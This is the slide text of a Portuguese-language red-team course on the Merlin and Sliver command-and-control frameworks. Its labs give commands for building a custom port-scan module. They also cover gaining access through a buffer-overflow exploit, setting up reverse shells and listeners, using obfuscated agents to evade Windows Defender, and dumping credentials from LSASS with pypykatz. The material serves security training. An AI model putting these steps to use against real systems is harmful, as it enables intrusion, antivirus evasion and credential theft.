- use module <nome_do_modulo>
- show options
Lab 4
• Configurar o agente correto para o módulo Get-OSTokenInformation
- set Agent <id_do_agente> OU set Agent all
- run
ERRO NA
EXECUÇÃO
Lab 4
• Os módulos no Merlin ficam na pasta “data/modules/”
• Eles são escritos em JSON
• Vamos analisar o módulo Get-OSTokenInformation
- cd /opt/merlin/data/modules/windows/x64/powershell
Lab 4
• Analisando o módulo Get-OSTokenInformation
- vim /opt/merlin/data/modules/windows/x64/powershell/enumaration/Get-OSTokenInformation.json
Lab 4
• Analisando o módulo Get-OSTokenInformation
- vim /opt/merlin/data/modules/windows/x64/powershell/enumaration/Get-OSTokenInformation.json
[1] https://github.com/samratashok/nishang
Lab 4
• Fazer uma cópia do Invoke-PortScan.ps1 chamada scan.ps1
• Colocar a cópia no diretório “/tmp” e adicionar a seguinte linha no final
- Invoke-PortScan -StartAddress 172.16.210.10 -EndAddress 172.16.210.10 –ScanPort
• Disponibilizar via python web service
Lab 4
portscan.json
Lab 4
• Utilizar o novo módulo
- back
- use module windows/x64/powershell/enumeration/portscan
Lab 4
• Utilizar o novo módulo
- set Agent <id_do_agente>
- run
Lab 4
• Eliminar o agente
- back
- interact <id_do_agente>
- kill
Avaliação – Merlin
• Vantagens
- Gratuito
- Multiplataforma
- Possui uma interface de linha de comando intuitiva
- Escrito em Go o que auxilia no desempenho da ferramenta
- Vem sendo mantida ativamente pela comunidade
- Fácil customização (flexível)
- Modular (fácil construção de módulos)
- Vários protocolos de comunicação de difícil detecção (HTTP, HTTPS, HTTP2,
HTTP3)
- Possui agentes para os principais Sistemas Operacionais
- Canal cifrado de comunicação entre os agentes e o servidor de C2
- É possível configurar tempo de validade do agente
- É possível configurar jitter
Avaliação – Merlin
• Desvantagens
- Não é multiusuário
- Não possui um interface gráfica
- Os agentes são executados por binários que podem ter uma assinatura de AV
- Ferramenta em desenvolvimento
C2 Frameworks
Sliver
Sliver
[1] https://github.com/BishopFox/sliver
Sliver
• Instalação do Sliver
- mkdir /opt/sliver
- cd /opt/sliver
- wget https://github.com/BishopFox/sliver/releases/download/v0.0.6-alpha/sliver-
server_linux.zip
- 7z x sliver-server_linux.zip
- apt install mingw-w64 binutils-mingw-w64 g++-mingw-w64
Sliver
• Execução do Sliver (servidor)
- cd /opt/sliver
- ./sliver-server
Lab 5
• Objetivo: testar as principais funcionalidades do framework Sliver
• VMs: Kali + Windows 10
• Tempo Estimado: 30 min
• Após o comprometimento inicial do alvo (Windows 10) através de uma
aplicação vulnerável (Dup Scout - BOF), estabelecer um canal de
comando e controle entre a vítima e o atacante
• Utilizar o payload reverse shell do Metasploit
• Configurar um listener via HTTP
• Configurar um lançador (stager/launcher) via executável ofuscado
• Habilitar o agente a partir da execução do lançador
• Testar os principais comandos e módulos da ferramenta
Lab 5
• Para esse módulo, vamos elevar um pouco a dificuldade. O alvo vai estar
com o Windows Defender bem atualizado (14/05/2020)
• Vamos testar algumas funcionalidade do Sliver em um cenário mais
restrito e verificar o comportamento da ferramenta e do alvo
• Diferente dos últimos laboratórios, não vamos fazer uso do meterpreter,
vamos utilizar o payload simples de um reverse shell
• Lembrando que o Sliver gera um executável para o agente utilizando
técnicas de ofuscação de funções, com o objetivo de evadir/enganar os
sistemas de antivírus
Lab 5
Verificando o estado de
atualização Windows Defender
Lab 5
Lab 5
Lab 5
• Acesso inicial com um reverse shell do Metasploit
- msfconsole -q -r c2/dup.rc
Lab 5
• Acesso inicial com um reverse shell do Metasploit
- msfconsole -q -r c2/dup.rc
Lab 5
• Iniciando o Sliver Server
- cd /opt/sliver
- ./sliver-server
Lab 5
• Verificando os comandos disponíveis
- help
Lab 5
• Vamos utilizar o protocolo mtls
- help mtls
- mtls
[1] https://github.com/skelsec/pypykatz
Lab 5
Verficar os comandos do pypykatz
Lab 5
• Executar o pypykatz no dump do processo
- pypykatz lsa minidump <nome_do_arquivo_dump>
Lab 5
• Eliminar o agente (sliver)
- kill
Avaliação – Sliver
• Vantagens
- Gratuito
- Multiplataforma
- Multiusuário
- Possui uma interface de linha de comando intuitiva
- Escrito em Go o que auxilia no desempenho da ferramenta
- Vem sendo mantida ativamente pela comunidade
- Vários protocolos de comunicação de difícil detecção (HTTPS, MTLS, DNS)
- Possui agentes para os principais Sistemas Operacionais
- Ofuscação do binário do agente para evasão de AV
- Canal cifrado de comunicação entre os agentes e o servidor de C2
- É possível configurar tempo de validade do agente
- É possível configurar jitter
Avaliação – Sliver
• Desvantagens
- Não possui um interface gráfica
- Ferramenta em desenvolvimento
C2 Matrix
https://www.thec2matrix.com
C2 Matrix
https://www.thec2matrix.com
C2 Matrix
https://www.thec2matrix.com
Bem x Mal
Ameaças Tradicionais
Ameaças Tradicionais
APT – Advanced Persistent Threat
Contra APT
SOC – CSIRT – BLUE TEAM
Defesa – Nova Postura